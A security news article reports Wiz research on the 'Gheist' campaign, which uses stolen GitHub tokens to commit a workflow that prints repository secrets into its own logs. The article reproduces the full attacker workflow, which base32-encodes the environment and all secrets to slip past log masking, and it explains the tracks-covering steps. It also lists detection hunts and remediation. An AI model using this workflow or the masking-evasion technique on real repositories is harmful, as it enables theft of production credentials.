Wiz Research Uncovers Gheist GitHub Token Abuse Campaign

Wiz reported the activity to GitHub, and roughly two-thirds of the implicated accounts are no longer active on the platform, which Wiz reads as a sign of significant response efforts.

A Workflow That Prints Its Own Loot

Gheist abuses GitHub tokens to commit a malicious workflow to every repository the token can reach. For each target, the tool creates a branch named ci-sync- followed by six random characters, then commits a sync-check.yml workflow file to it. That commit triggers the run. The workflow, named sync-check, prints the repository’s secrets into its own log. The attacker downloads that log through the GitHub API, and the workflow run is deleted seconds later to cover the tracks.

name: sync-check
on: [push]
permissions: {}
jobs:
  sync:
    runs-on: ubuntu-latest
    timeout-minutes: 6
    steps:
      - name: build
        run: |
          env | base32 -w 120
          echo -n '${{ toJSON(secrets) }}' | base32 -w 120

The design leaves no outbound connection for a defender to block, and it works because of three details:

• GitHub masks secrets in logs only when they appear verbatim, so a base32-encoded secret prints in full
• The permissions: {} setting restricts the job’s GITHUB_TOKEN but does not restrict the secrets context itself
• For repositories with deployment environments, the tool lists them in a job matrix, which exposes environment-scoped secrets that are often production credentials

Private Repositories Are Still Open

Since July 28, 2026, GitHub has held potentially malicious workflow runs in public repositories for approval. That control worked against Gheist, blocking runs on public repos before any payload executed. It does not cover private repositories or GitHub Enterprise Server. Wiz found audit logs showing ci-sync-* branches completing runs and then being deleted, and cloud audit logs showing organizations’ own workflows running on those branches and assuming AWS roles, which points to successful exploitation.

The stolen access is also shared. The same accounts are often used by other threat actors, and Wiz saw overlaps with lure repositories used for malware distribution, cryptomining that abuses GitHub Actions for free compute, PolinRider, a DPRK-linked malware, and Megalodon. The credentials appear to come from infostealer logs and tokens exposed in earlier supply-chain compromises.

Security teams should hunt for three things:

• ci-sync- branches in their repositories
• Activity carrying the gheist user agent
• Cloud role assumptions that originate from attacker branches

Affected organizations should rotate all repository, organization, and environment secrets immediately. Wiz has published a Threat Center advisory with Event Explorer queries for detection.

Hashlytics Take

Nothing in Gheist is a vulnerability in the usual sense. Log masking, token permissions, environment secrets and run deletion all behaved as designed, and the attacker simply chained them. That is why the usual playbook fails here: with no outbound connection, egress filtering has nothing to catch, and with secrets leaving through the log itself, the only real control is the token that opens the door. The gap worth worrying about is private repositories. GitHub’s approval hold protects the public repos that rarely hold production credentials, while the private ones that do remain exposed, and Wiz’s cloud logs already show roles being assumed. If your secrets live in GitHub, assume a leaked token means they leave with it, and treat infostealer hygiene on developer machines as a CI/CD security control.